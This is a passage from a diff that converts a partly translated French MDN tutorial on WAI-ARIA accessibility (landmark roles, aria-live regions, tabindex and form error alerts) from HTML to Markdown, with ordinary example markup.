({{htmlelement("nav")}}) ou `role="complementary"` ({{htmlelement("aside")}}) , mais il en existe d'autres qui décrivent différentes structures de pages, telles que `role="banner"`, `role="search"`, `role="tabgroup"`, `role="tab"`, etc., que l'on trouve couramment dans les UIs. +- **Propriétés** — Ceux-ci définissent les propriétés des éléments, qui peuvent être utilisés pour leur donner une signification supplémentaire ou une sémantique. Par exemple, `aria-required="true"` spécifie qu'une entrée de formulaire doit être renseignée pour être valide, alors que `aria-labelledby="label"` vous permet de mettre un ID sur un élément, puis de le référencer en tant qu'étiquette pour tout autre élément de la page, y compris plusieurs éléments, ce qui n'est pas possible avec `<label for="input">`. À titre d'exemple, vous pouvez utiliser `aria-labelledby` pour spécifier qu'une description de clé contenue dans un {{htmlelement("div")}} est le label de plusieurs cellules de tableau, ou vous pouvez l’utiliser comme alternative au texte alternatif d’image — spécifiez les informations existantes sur la page en tant que texte alternatif d’image, plutôt que de devoir les répéter à l'intérieur de l'attribut `alt`. Vous pouvez voir un exemple de celà à [Alternatives textuelles](/fr/docs/Apprendre/a11y/HTML?document_saved=true#Alternatives_textuelles). +- **États** — Propriétés spéciales qui définissent les conditions actuelles des éléments, telles que `aria-disabled="true"`, qui spécifient à un lecteur d'écran que l'entrée de formulaire est actuellement désactivée. Les états diffèrent des propriétés en ce que les propriétés ne changent pas tout au long du cycle de vie d'une application, alors que les états peuvent changer, généralement par programmation via JavaScript. -<p>Un point important sur les attributs WAI-ARIA est qu'ils n'affectent en rien la page Web, à l'exception des informations exposées par les API d'accessibilité du navigateur (où les lecteurs d'écran obtiennent leurs informations). WAI-ARIA n'affecte pas la structure de la page Web, le DOM, etc., bien que les attributs puissent être utiles pour sélectionner des éléments par CSS.</p> +Un point important sur les attributs WAI-ARIA est qu'ils n'affectent en rien la page Web, à l'exception des informations exposées par les API d'accessibilité du navigateur (où les lecteurs d'écran obtiennent leurs informations). WAI-ARIA n'affecte pas la structure de la page Web, le DOM, etc., bien que les attributs puissent être utiles pour sélectionner des éléments par CSS. -<div class="note"> -<p><strong>Note :</strong> Vous pouvez trouver une liste utile de tous les rôles ARIA et de leurs utilisations, avec des liens vers des informations supplémentaires, dans les spécifications WAI-ARIA — voir la <a href="https://www.w3.org/TR/wai-aria-1.1/#role_definitions">définition des rôles</a>.</p> +> **Note :** Vous pouvez trouver une liste utile de tous les rôles ARIA et de leurs utilisations, avec des liens vers des informations supplémentaires, dans les spécifications WAI-ARIA — voir la [définition des rôles](https://www.w3.org/TR/wai-aria-1.1/#role_definitions). +> +> La spécification contient également une liste de toutes les propriétés et de tous les états, avec des liens vers des informations complémentaires - voir [Définitions des états et des propriétés (tous les attributs aria- \*)](https://www.w3.org/TR/wai-aria-1.1/#state_prop_def). -<p>La spécification contient également une liste de toutes les propriétés et de tous les états, avec des liens vers des informations complémentaires - voir <a href="https://www.w3.org/TR/wai-aria-1.1/#state_prop_def">Définitions des états et des propriétés (tous les attributs aria- *)</a>.</p> -</div> +### Où WAI-ARIA est supporté? -<h3 id="Où_WAI-ARIA_est_supporté">Où WAI-ARIA est supporté?</h3> +Ce n’est pas une question simple. Il est difficile de trouver une ressource concluante qui explicite quelles fonctionnalités de WAI-ARIA sont supportées où, parce que: -<p>Ce n’est pas une question simple. Il est difficile de trouver une ressource concluante qui explicite quelles fonctionnalités de WAI-ARIA sont supportées où, parce que:</p> +1. Il y a beaucoup de fonctionnalités dans la spécification WAI-ARIA +2. Il y a beaucoup de combinaisons de systèmes d’exploitation, navigateurs et lecteurs d’écrans à considérer -<ol> - <li>Il y a beaucoup de fonctionnalités dans la spécification WAI-ARIA</li> - <li>Il y a beaucoup de combinaisons de systèmes d’exploitation, navigateurs et lecteurs d’écrans à considérer</li> -</ol> +Ce dernier point est la clé: pour utiliser un lecteur d’écran, votre système d’exploitation a besoin d’un navigateur ayant les APIs d’accessibilité nécessaires, de manière à présenter l’information dont les lecteurs d’écran ont besoin pour faire leur travail. Les systèmes d’exploitation les plus populaires ont un à deux navigateurs avec les quels les lecteurs d’écrans peuvent travailler. Le Paciello Group a un article plutôt à jour fournissant des informations pour ceci — voir [Rough Guide: browsers, operating systems and screen reader support updated](https://www.paciellogroup.com/blog/2014/10/rough-guide-browsers-operating-systems-and-screen-reader-support-updated/). -<p>Ce dernier point est la clé: pour utiliser un lecteur d’écran, votre système d’exploitation a besoin d’un navigateur ayant les APIs d’accessibilité nécessaires, de manière à présenter l’information dont les lecteurs d’écran ont besoin pour faire leur travail. Les systèmes d’exploitation les plus populaires ont un à deux navigateurs avec les quels les lecteurs d’écrans peuvent travailler. Le Paciello Group a un article plutôt à jour fournissant des informations pour ceci — voir <a href="https://www.paciellogroup.com/blog/2014/10/rough-guide-browsers-operating-systems-and-screen-reader-support-updated/">Rough Guide: browsers, operating systems and screen reader support updated</a>.</p> +Ensuite, vous devez vous demander si les navigateurs en question supportent les fonctionnalités ARIA et les présenter via leurs APIs, mais aussi du fait que les lecteurs d’écrans reconnaissent ou non cette information et la présentent à leurs utilisateurs d’une manière utile. -<p>Ensuite, vous devez vous demander si les navigateurs en question supportent les fonctionnalités ARIA et les présenter via leurs APIs, mais aussi du fait que les lecteurs d’écrans reconnaissent ou non cette information et la présentent à leurs utilisateurs d’une manière utile.</p> +1. Browser support is generally quite good — at the time of writing, [caniuse.com](http://caniuse.com/#feat=wai-aria) stated that global browser support for WAI-ARIA was around 88%. +2. Screenreader support for ARIA features isn't quite at this level, but the most popular screenreaders are getting there. You can get an idea of support levels by looking at Powermapper's [WAI-ARIA Screen reader compatibility](http://www.powermapper.com/tests/screen-readers/aria/) article. -<ol> - <li>Browser support is generally quite good — at the time of writing, <a href="http://caniuse.com/#feat=wai-aria">caniuse.com</a> stated that global browser support for WAI-ARIA was around 88%.</li> - <li>Screenreader support for ARIA features isn't quite at this level, but the most popular screenreaders are getting there. You can get an idea of support levels by looking at Powermapper's <a href="http://www.powermapper.com/tests/screen-readers/aria/">WAI-ARIA Screen reader compatibility</a> article.</li> -</ol> +In this article, we won't attempt to cover every WAI-ARIA feature, and its exact support details. Instead, we will cover the most critical WAI-ARIA features for you to know about; if we don't mention any support details, you can assume that the feature is well-supported. We will clearly mention any exceptions to this. -<p>In this article, we won't attempt to cover every WAI-ARIA feature, and its exact support details. Instead, we will cover the most critical WAI-ARIA features for you to know about; if we don't mention any support details, you can assume that the feature is well-supported. We will clearly mention any exceptions to this.</p> +> **Note :** Some JavaScript libraries support WAI-ARIA, meaning that when they generate UI features like complex form controls, they add ARIA attributes to improve the accessibility of those features. If you are looking for a 3rd party JavaScript solution for rapid UI development, you should definitely consider the accessibility of its UI widgets as an important factor when making your choice. Good examples are jQuery UI (see [About jQuery UI: Deep accessibility support](https://jqueryui.com/about/#deep-accessibility-support)), [ExtJS](https://www.sencha.com/products/extjs/), and [Dojo/Dijit](https://dojotoolkit.org/reference-guide/1.10/dijit/a11y/statement.html). -<div class="note"> -<p><strong>Note :</strong> Some JavaScript libraries support WAI-ARIA, meaning that when they generate UI features like complex form controls, they add ARIA attributes to improve the accessibility of those features. If you are looking for a 3rd party JavaScript solution for rapid UI development, you should definitely consider the accessibility of its UI widgets as an important factor when making your choice. Good examples are jQuery UI (see <a href="https://jqueryui.com/about/#deep-accessibility-support">About jQuery UI: Deep accessibility support</a>), <a href="https://www.sencha.com/products/extjs/">ExtJS</a>, and <a href="https://dojotoolkit.org/reference-guide/1.10/dijit/a11y/statement.html">Dojo/Dijit</a>.</p> -</div> +### When should you use WAI-ARIA? -<h3 id="When_should_you_use_WAI-ARIA">When should you use WAI-ARIA?</h3> +We talked about some of the problems that prompted WAI-ARIA to be created earlier on, but essentially, there are four main areas that WAI-ARIA is useful in: -<p>We talked about some of the problems that prompted WAI-ARIA to be created earlier on, but essentially, there are four main areas that WAI-ARIA is useful in:</p> +1. **Signposts/Landmarks**: ARIA's `role` attribute values can act as landmarks that either replicate the semantics of HTML5 elements (e.g. {{htmlelement("nav")}}), or go beyond HTML5 semantics to provide signposts to different functional areas, e.g `search`, `tabgroup`, `tab`, `listbox`, etc. +2. **Dynamic content updates**: Screenreaders tend to have difficulty with reporting constantly changing content; with ARIA we can use `aria-live` to inform screenreader users when an area of content is updated, e.g. via [XMLHttpRequest](/fr/docs/Web/API/XMLHttpRequest), or [DOM APIs](/fr/docs/Web/API/Document_Object_Model). +3. **Enhancing keyboard accessibility**: There are built-in HTML elements that have native keyboard accessibility; when other elements are used along with JavaScript to simulate similar interactions, keyboard accessibility and screenreader reporting suffers as a result. Where this is unavoidable, WAI-ARIA provides a means to allow other elements to receive focus (using `tabindex`). +4. **Accessibility of non-semantic controls**: When a series of nested `<div>`s along with CSS/JavaScript is used to create a complex UI-feature, or a native control is greatly enhanced/changed via JavaScript, accessibility can suffer — screenreader users will find it difficult to work out what the feature does if there are no semantics or other clues. In these situations, ARIA can help to provide what's missing with a combination of roles like `button`, `listbox`, or `tabgroup`, and properties like `aria-required` or `aria-posinset` to provide further clues as to functionality. -<ol> - <li><strong>Signposts/Landmarks</strong>: ARIA's <code>role</code> attribute values can act as landmarks that either replicate the semantics of HTML5 elements (e.g. {{htmlelement("nav")}}), or go beyond HTML5 semantics to provide signposts to different functional areas, e.g <code>search</code>, <code>tabgroup</code>, <code>tab</code>, <code>listbox</code>, etc.</li> - <li><strong>Dynamic content updates</strong>: Screenreaders tend to have difficulty with reporting constantly changing content; with ARIA we can use <code>aria-live</code> to inform screenreader users when an area of content is updated, e.g. via <a href="/fr/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>, or <a href="/fr/docs/Web/API/Document_Object_Model">DOM APIs</a>.</li> - <li><strong>Enhancing keyboard accessibility</strong>: There are built-in HTML elements that have native keyboard accessibility; when other elements are used along with JavaScript to simulate similar interactions, keyboard accessibility and screenreader reporting suffers as a result. Where this is unavoidable, WAI-ARIA provides a means to allow other elements to receive focus (using <code>tabindex</code>).</li> - <li><strong>Accessibility of non-semantic controls</strong>: When a series of nested <code><div></code>s along with CSS/JavaScript is used to create a complex UI-feature, or a native control is greatly enhanced/changed via JavaScript, accessibility can suffer — screenreader users will find it difficult to work out what the feature does if there are no semantics or other clues. In these situations, ARIA can help to provide what's missing with a combination of roles like <code>button</code>, <code>listbox</code>, or <code>tabgroup</code>, and properties like <code>aria-required</code> or <code>aria-posinset</code> to provide further clues as to functionality.</li> -</ol> +One thing to remember though — **you should only use WAI-ARIA when you need to!** Ideally, you should _always_ use [native HTML features](/fr/docs/Learn/Accessibility/HTML) to provide the semantics required by screenreaders to tell their users what is going on. Sometimes this isn't possible, either because you have limited control over the code, or because you are creating something complex that doesn't have an easy HTML element to implement it. In such cases, WAI-ARIA can be a valuable accessibility enhancing tool. -<p>One thing to remember though — <strong>you should only use WAI-ARIA when you need to!</strong> Ideally, you should <em>always</em> use <a href="/fr/docs/Learn/Accessibility/HTML">native HTML features</a> to provide the semantics required by screenreaders to tell their users what is going on. Sometimes this isn't possible, either because you have limited control over the code, or because you are creating something complex that doesn't have an easy HTML element to implement it. In such cases, WAI-ARIA can be a valuable accessibility enhancing tool.</p> +But again, only use it when necessary! -<p>But again, only use it when necessary!</p> +> **Note :** Also, try to make sure you test your site with a variety of _real_ users — non-disabled people, people using screenreaders, people using keyboard navigation, etc. They will have better insights than you about how well it works. -<div class="note"> -<p><strong>Note :</strong> Also, try to make sure you test your site with a variety of <em>real</em> users — non-disabled people, people using screenreaders, people using keyboard navigation, etc. They will have better insights than you about how well it works.</p> -</div> +## Practical WAI-ARIA implementations -<h2 id="Practical_WAI-ARIA_implementations">Practical WAI-ARIA implementations</h2> +In the next section we'll look at the four areas in more detail, along with practical examples. Before you continue, you should get a screenreader testing setup put in place, so you can test some of the examples as you go through. -<p>In the next section we'll look at the four areas in more detail, along with practical examples. Before you continue, you should get a screenreader testing setup put in place, so you can test some of the examples as you go through.</p> +See our section on [testing screenreaders](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders) for more information. -<p>See our section on <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">testing screenreaders</a> for more information.</p> +### Signposts/Landmarks -<h3 id="SignpostsLandmarks">Signposts/Landmarks</h3> +WAI-ARIA adds the [`role` attribute](https://www.w3.org/TR/wai-aria-1.1/#role_definitions) to browsers, which allows you to add extra semantic value to elements on your site wherever they are needed. The first major area in which this is useful is providing information for screenreaders so that their users can find common page elements. Let's look at an example — our [website-no-roles](https://github.com/mdn/learning-area/tree/master/accessibility/aria/website-no-roles) example ([see it live](http://mdn.github.io/learning-area/accessibility/aria/website-no-roles/)) has the following structure: -<p>WAI-ARIA adds the <a href="https://www.w3.org/TR/wai-aria-1.1/#role_definitions"><code>role</code> attribute</a> to browsers, which allows you to add extra semantic value to elements on your site wherever they are needed. The first major area in which this is useful is providing information for screenreaders so that their users can find common page elements. Let's look at an example — our <a href="https://github.com/mdn/learning-area/tree/master/accessibility/aria/website-no-roles">website-no-roles</a> example (<a href="http://mdn.github.io/learning-area/accessibility/aria/website-no-roles/">see it live</a>) has the following structure:</p> +```html +<header> + <h1>...</h1> + <nav> + <ul>...</ul> + <form> + <!-- search form --> + </form> + </nav> +</header> -<pre class="brush: html"><header> - <h1>...</h1> - <nav> - <ul>...</ul> - <form> - <!-- search form --> - </form> - </nav> -</header> +<main> + <article>...</article> + <aside>...</aside> +</main> -<main> - <article>...</article> - <aside>...</aside> -</main> +<footer>...</footer> +``` -<footer>...</footer></pre> +If you try testing the example with a screenreader in a modern browser, you'll already get some useful information. For example, VoiceOver gives you the following: -<p>If you try testing the example with a screenreader in a modern browser, you'll already get some useful information. For example, VoiceOver gives you the following:</p> +- On the `<header>` element — "banner, 2 items" (it contains a heading and the `<nav>`). +- On the `<nav>` element — "navigation 2 items" (it contains a list and a form). +- On the `<main>` element — "main 2 items" (it contains an article and an aside). +- On the `<aside>` element — "complementary 2 items" (it contains a heading and a list). +- On the search form input — "Search query, insertion at beginning of text". +- On the `<footer>` element — "footer 1 item". -<ul> - <li>On the <code><header></code> element — "banner, 2 items" (it contains a heading and the <code><nav></code>).</li> - <li>On the <code><nav></code> element — "navigation 2 items" (it contains a list and a form).</li> - <li>On the <code><main></code> element — "main 2 items" (it contains an article and an aside).</li> - <li>On the <code><aside></code> element — "complementary 2 items" (it contains a heading and a list).</li> - <li>On the search form input — "Search query, insertion at beginning of text".</li> - <li>On the <code><footer></code> element — "footer 1 item".</li> -</ul> +If you go to VoiceOver's landmarks menu (accessed using VoiceOver key + U and then using the cursor keys to cycle through the menu choices), you'll see that most of the elements are nicely listed so they can be accessed quickly. -<p>If you go to VoiceOver's landmarks menu (accessed using VoiceOver key + U and then using the cursor keys to cycle through the menu choices), you'll see that most of the elements are nicely listed so they can be accessed quickly.</p> + -<p><img alt="" src="landmarks-list.png"></p> +However, we could do better here. the search form is a really important landmark that people will want to find, but it is not listed in the landmarks menu or treated like a notable landmark, beyond the actual input being called out as a search input (`<input type="search">`). In addition, some older browsers (most notably IE8) don't recognise the semantics of the HTML5 elements. -<p>However, we could do better here. the search form is a really important landmark that people will want to find, but it is not listed in the landmarks menu or treated like a notable landmark, beyond the actual input being called out as a search input (<code><input type="search"></code>). In addition, some older browsers (most notably IE8) don't recognise the semantics of the HTML5 elements.</p> +Let's improve it by the use of some ARIA features. first, we'll add some role attributes to our HTML structure. You can try taking a copy of our original files (see [index.html](https://github.com/mdn/learning-area/blob/master/accessibility/aria/website-no-roles/index.html) and [style.css](https://github.com/mdn/learning-area/blob/master/accessibility/aria/website-no-roles/style.css)), or navigating to our [website-aria-roles](https://github.com/mdn/learning-area/tree/master/accessibility/aria/website-aria-roles) example ([see it live](http://mdn.github.io/learning-area/accessibility/aria/website-aria-roles/)), which has a structure like this: -<p>Let's improve it by the use of some ARIA features. first, we'll add some role attributes to our HTML structure. You can try taking a copy of our original files (see <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/website-no-roles/index.html">index.html</a> and <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/website-no-roles/style.css">style.css</a>), or navigating to our <a href="https://github.com/mdn/learning-area/tree/master/accessibility/aria/website-aria-roles">website-aria-roles</a> example (<a href="http://mdn.github.io/learning-area/accessibility/aria/website-aria-roles/">see it live</a>), which has a structure like this:</p> +```html +<header> + <h1>...</h1> + <nav role="navigation"> + <ul>...</ul> + <form role="search"> + <!-- search form --> + </form> + </nav> +</header> -<pre class="brush: html"><header> - <h1>...</h1> - <nav role="navigation"> - <ul>...</ul> - <form role="search"> - <!-- search form --> - </form> - </nav> -</header> +<main> + <article role="article">...</article> + <aside role="complementary">...</aside> +</main> -<main> - <article role="article">...</article> - <aside role="complementary">...</aside> -</main> +<footer>...</footer> +``` -<footer>...</footer></pre> +We've also given you a bonus feature in this example — the {{htmlelement("input")}} element has been given the attribute [`aria-label`](https://www.w3.org/TR/wai-aria-1.1/#aria-label), which gives it a descriptive label to be read out by a screenreader, even though we haven't included a {{htmlelement("label")}} element. In cases like these, this is very useful — a search form like this one is a very common, easily recognised feature, and adding a visual label would spoil the page design. -<p>We've also given you a bonus feature in this example — the {{htmlelement("input")}} element has been given the attribute <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-label">aria-label</a></code>, which gives it a descriptive label to be read out by a screenreader, even though we haven't included a {{htmlelement("label")}} element. In cases like these, this is very useful — a search form like this one is a very common, easily recognised feature, and adding a visual label would spoil the page design.</p> +```html +<input type="search" name="q" placeholder="Search query" aria-label="Search through site content"> +``` -<pre class="brush: html"><input type="search" name="q" placeholder="Search query" aria-label="Search through site content"></pre> +Now if we use VoiceOver to look at this example, we get some improvements: -<p>Now if we use VoiceOver to look at this example, we get some improvements:</p> +- The search form is called out as a separate item, both when browsing through the page, and in the Landmarks menu. +- The label text contained in the `aria-label` attribute is read out when the form input is highlighted. -<ul> - <li>The search form is called out as a separate item, both when browsing through the page, and in the Landmarks menu.</li> - <li>The label text contained in the <code>aria-label</code> attribute is read out when the form input is highlighted.</li> -</ul> +Beyond this, the site is more likely to be accessible to users of older browsers such as IE8; it is worth including ARIA roles for that purpose. And if for some reason your site is built using just `<div>`s, you should definitely include the ARIA roles to provide these much needed semantics! -<p>Beyond this, the site is more likely to be accessible to users of older browsers such as IE8; it is worth including ARIA roles for that purpose. And if for some reason your site is built using just <code><div></code>s, you should definitely include the ARIA roles to provide these much needed semantics!</p> +The improved semantics of the search form have shown what is made possible when ARIA goes beyond the semantics available in HTML5. You'll see a lot more about these semantics and the power of ARIA properties/attributes below, especially in the {{anch("Accessibility of non-semantic controls")}} section. For now though, let's look at how ARIA can help with dynamic content updates. -<p>The improved semantics of the search form have shown what is made possible when ARIA goes beyond the semantics available in HTML5. You'll see a lot more about these semantics and the power of ARIA properties/attributes below, especially in the {{anch("Accessibility of non-semantic controls")}} section. For now though, let's look at how ARIA can help with dynamic content updates.</p> +### Dynamic content updates -<h3 id="Dynamic_content_updates">Dynamic content updates</h3> +Content loaded into the DOM can be easily accessed using a screenreader, from textual content to alternative text attached to images. Traditional static websites with largely text content are therefore easy to make accessible for people with visual impairments. -<p>Content loaded into the DOM can be easily accessed using a screenreader, from textual content to alternative text attached to images. Traditional static websites with largely text content are therefore easy to make accessible for people with visual impairments.</p> +The problem is that modern web apps are often not just static text — they tend to have a lot of dynamically updating content, i.e. content that updates without the entire page reloading via a mechanism like [XMLHttpRequest](/fr/docs/Web/API/XMLHttpRequest), [Fetch](/fr/docs/Web/API/Fetch_API), or [DOM APIs](/fr/docs/Web/API/Document_Object_Model). These are sometimes referred to as **live regions**. -<p>The problem is that modern web apps are often not just static text — they tend to have a lot of dynamically updating content, i.e. content that updates without the entire page reloading via a mechanism like <a href="/fr/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>, <a href="/fr/docs/Web/API/Fetch_API">Fetch</a>, or <a href="/fr/docs/Web/API/Document_Object_Model">DOM APIs</a>. These are sometimes referred to as <strong>live regions</strong>.</p> +Let's look at a quick example — see [aria-no-live.html](https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-no-live.html) (also [see it running live](http://mdn.github.io/learning-area/accessibility/aria/aria-no-live.html)). In this example we have a simple random quote box: -<p>Let's look at a quick example — see <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-no-live.html">aria-no-live.html</a> (also <a href="http://mdn.github.io/learning-area/accessibility/aria/aria-no-live.html">see it running live</a>). In this example we have a simple random quote box:</p> +```html +<section> + <h1>Random quote</h1> + <blockquote> + <p></p> + </blockquote> +</section> +``` -<pre class="brush: html"><section> - <h1>Random quote</h1> - <blockquote> - <p></p> - </blockquote> -</section></pre> +Our JavaScript loads a JSON file via [`XMLHttpRequest`](/fr/docs/Web/API/XMLHttpRequest) containing a series of random quotes and their authors. Once that is done, we start up a [`setInterval()`](/fr/docs/Web/API/WindowTimers/setInterval) loop that loads a new random quote into the quote box every 10 seconds: -<p>Our JavaScript loads a JSON file via <code><a href="/fr/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> containing a series of random quotes and their authors. Once that is done, we start up a <code><a href="/fr/docs/Web/API/WindowTimers/setInterval">setInterval()</a></code> loop that loads a new random quote into the quote box every 10 seconds:</p> +```js +var intervalID = window.setInterval(showQuote, 10000); +``` -<pre class="brush: js">var intervalID = window.setInterval(showQuote, 10000);</pre> +This works OK, but it is not good for accessibility — the content update is not detected by screenreaders, so their users would not know what is going on. This is a fairly trivial example, but just imagine if you were creating a complex UI with lots of constantly updating content, like a chat room, or a strategy game UI, or a live updating shopping cart display — it would be impossible to use the app in any effective way without some kind of way of alerting the user to the updates. -<p>This works OK, but it is not good for accessibility — the content update is not detected by screenreaders, so their users would not know what is going on. This is a fairly trivial example, but just imagine if you were creating a complex UI with lots of constantly updating content, like a chat room, or a strategy game UI, or a live updating shopping cart display — it would be impossible to use the app in any effective way without some kind of way of alerting the user to the updates.</p> +WAI-ARIA fortunately provides a useful mechanism to provide these alerts — the [`aria-live`](https://www.w3.org/TR/wai-aria-1.1/#aria-live) property. Applying this to an element causes screenreaders to read out the content that is updated. How urgently the content is read out depends on the attribute value: -<p>WAI-ARIA fortunately provides a useful mechanism to provide these alerts — the <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-live">aria-live</a></code> property. Applying this to an element causes screenreaders to read out the content that is updated. How urgently the content is read out depends on the attribute value:</p> +- `off:` The default. Updates should not be announced. +- `polite`: Updates should be announced only if the user is idle. +- `assertive`: Updates should be announced to the user as soon as possible. -<ul> - <li><code>off:</code> The default. Updates should not be announced.</li> - <li><code>polite</code>: Updates should be announced only if the user is idle.</li> - <li><code>assertive</code>: Updates should be announced to the user as soon as possible.</li> -</ul> +We'd like you to take a copy of [aria-no-live.html](https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-no-live.html) and [quotes.json](https://github.com/mdn/learning-area/blob/master/accessibility/aria/quotes.json), and update your `<section>` tag as follows: -<p>We'd like you to take a copy of <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-no-live.html">aria-no-live.html</a> and <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/quotes.json">quotes.json</a>, and update your <code><section></code> tag as follows:</p> +```html +<section aria-live="assertive"> +``` -<pre class="brush: html"><section aria-live="assertive"></pre> +This will cause a screenreader to read out the content as it is updated. -<p>This will cause a screenreader to read out the content as it is updated.</p> +> **Note :** Most browsers will throw a security exception if you try to do an `XMLHttpRequest` call from a `file://` URL, e.g. if you just load the file by loading it directly into the browser (via double clicking, etc.). To get it to run, you will need to upload it to a web server, for example [using GitHub](/fr/docs/Learn/Common_questions/Using_Github_pages), or a local web server like [Python's SimpleHTTPServer](http://www.pythonforbeginners.com/modules-in-python/how-to-use-simplehttpserver/). -<div class="note"> -<p><strong>Note :</strong> Most browsers will throw a security exception if you try to do an <code>XMLHttpRequest</code> call from a <code>file://</code> URL, e.g. if you just load the file by loading it directly into the browser (via double clicking, etc.). To get it to run, you will need to upload it to a web server, for example <a href="/fr/docs/Learn/Common_questions/Using_Github_pages">using GitHub</a>, or a local web server like <a href="http://www.pythonforbeginners.com/modules-in-python/how-to-use-simplehttpserver/">Python's SimpleHTTPServer</a>.</p> -</div> +There is an additional consideration here — only the bit of text that updates is read out. It might be nice if we always read out the heading too, so the user can remember what is being read out. To do this, we can add the [`aria-atomic`](https://www.w3.org/TR/wai-aria-1.1/#aria-atomic) property to the section. Update your `<section>` tag again, like so: -<p>There is an additional consideration here — only the bit of text that updates is read out. It might be nice if we always read out the heading too, so the user can remember what is being read out. To do this, we can add the <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-atomic">aria-atomic</a></code> property to the section. Update your <code><section></code> tag again, like so:</p> +```html +<section aria-live="assertive" aria-atomic="true"> +``` -<pre class="brush: html"><section aria-live="assertive" aria-atomic="true"></pre> +The `aria-atomic="true"` attribute tells screenreaders to read out the entire element contents as one atomic unit, not just the bits that were updated. -<p>The <code>aria-atomic="true"</code> attribute tells screenreaders to read out the entire element contents as one atomic unit, not just the bits that were updated.</p> +> **Note :** You can see the finished example at [aria-live.html](https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-live.html) ([see it running live](http://mdn.github.io/learning-area/accessibility/aria/aria-live.html)). -<div class="note"> -<p><strong>Note :</strong> You can see the finished example at <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-live.html">aria-live.html</a> (<a href="http://mdn.github.io/learning-area/accessibility/aria/aria-live.html">see it running live</a>).</p> -</div> +> **Note :** The [`aria-relevant`](https://www.w3.org/TR/wai-aria-1.1/#aria-relevant) property is also quite useful for controlling what gets read out when a live region is updated. You can for example only get content additions or removals read out. -<div class="note"> -<p><strong>Note :</strong> The <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-relevant">aria-relevant</a></code> property is also quite useful for controlling what gets read out when a live region is updated. You can for example only get content additions or removals read out.</p> -</div> +### Enhancing keyboard accessibility -<h3 id="Enhancing_keyboard_accessibility">Enhancing keyboard accessibility</h3> +As discussed in a few other places in the module, one of the key strengths of HTML with respect to accessibility is the built-in keyboard accessibility of features such as buttons, form controls, and links. Generally, you are able to use the tab key to move between controls, the Enter/Return key to select or activate controls, and occasionally other controls as needed (for example the up and down cursor to move between options in a `<select>` box). -<p>As discussed in a few other places in the module, one of the key strengths of HTML with respect to accessibility is the built-in keyboard accessibility of features such as buttons, form controls, and links. Generally, you are able to use the tab key to move between controls, the Enter/Return key to select or activate controls, and occasionally other controls as needed (for example the up and down cursor to move between options in a <code><select></code> box).</p> +However, sometimes you will end up having to write code that either uses non-semantic elements as buttons (or other types of control), or uses focusable controls for not quite the right purpose. You might be trying to fix some bad code you've inherited, or you might be building some kind of complex widget that requires it. -<p>However, sometimes you will end up having to write code that either uses non-semantic elements as buttons (or other types of control), or uses focusable controls for not quite the right purpose. You might be trying to fix some bad code you've inherited, or you might be building some kind of complex widget that requires it.</p> +In terms of making non-focusable code focusable, WAI-ARIA extends the `tabindex` attribute with some new values: -<p>In terms of making non-focusable code focusable, WAI-ARIA extends the <code>tabindex</code> attribute with some new values:</p> +- `tabindex="0"` — as indicated above, this value allows elements that are not normally tabbable to become tabbable. This is the most useful value of `tabindex`. +- `tabindex="-1"` — this allows not normally tabbable elements to receive focus programmatically, e.g. via JavaScript, or as the target of links. -<ul> - <li><code>tabindex="0"</code> — as indicated above, this value allows elements that are not normally tabbable to become tabbable. This is the most useful value of <code>tabindex</code>.</li> - <li><code>tabindex="-1"</code> — this allows not normally tabbable elements to receive focus programmatically, e.g. via JavaScript, or as the target of links. </li> -</ul> +We discussed this in more detail and showed a typical implementation back in our HTML accessibility article — see [Building keyboard accessibility back in](/fr/docs/Learn/Accessibility/HTML#Building_keyboard_accessibility_back_in). -<p>We discussed this in more detail and showed a typical implementation back in our HTML accessibility article — see <a href="/fr/docs/Learn/Accessibility/HTML#Building_keyboard_accessibility_back_in">Building keyboard accessibility back in</a>.</p> +### Accessibility of non-semantic controls -<h3 id="Accessibility_of_non-semantic_controls">Accessibility of non-semantic controls</h3> +This follows on from the previous section — when a series of nested `<div>`s along with CSS/JavaScript is used to create a complex UI-feature, or a native control is greatly enhanced/changed via JavaScript, not only can keyboard accessibility suffer, but screenreader users will find it difficult to work out what the feature does if there are no semantics or other clues. In such situations, ARIA can help to provide those missing semantics. -<p>This follows on from the previous section — when a series of nested <code><div></code>s along with CSS/JavaScript is used to create a complex UI-feature, or a native control is greatly enhanced/changed via JavaScript, not only can keyboard accessibility suffer, but screenreader users will find it difficult to work out what the feature does if there are no semantics or other clues. In such situations, ARIA can help to provide those missing semantics.</p> +#### Form validation and error alerts -<h4 id="Form_validation_and_error_alerts">Form validation and error alerts</h4> +First of all, let's revisit the form example we first looked at in our CSS and JavaScript accessibility article (read [Keeping it unobtrusive](/fr/docs/Learn/Accessibility/CSS_and_JavaScript#Keeping_it_unobtrusive) for a full recap). At the end of this section we showed that we have included some ARIA attributes on the error message box that appears when there are validation errors when you try to submit the form: -<p>First of all, let's revisit the form example we first looked at in our CSS and JavaScript accessibility article (read <a href="/fr/docs/Learn/Accessibility/CSS_and_JavaScript#Keeping_it_unobtrusive">Keeping it unobtrusive</a> for a full recap). At the end of this section we showed that we have included some ARIA attributes on the error message box that appears when there are validation errors when you try to submit the form:</p> +```html +<div class="errors" role="alert" aria-relevant="all"> + <ul> + </ul> +</div> +``` -<pre class="brush: html"><div class="errors" role="alert" aria-relevant="all"> - <ul> - </ul> -</div></pre> +- [`role="alert"`](https://www.w3.org/TR/wai-aria-1.1/#alert) automatically turns the element it is applied to into a live region, so changes to it are read out; it also semantically identifies it as an alert message (important time/context sensitive information), and represents a better, more accessible way of delivering an alert to a user (modal dialogs like [`alert()`](/fr/docs/Web/API/Window/alert) calls have a number of accessibility problems; see [Popup 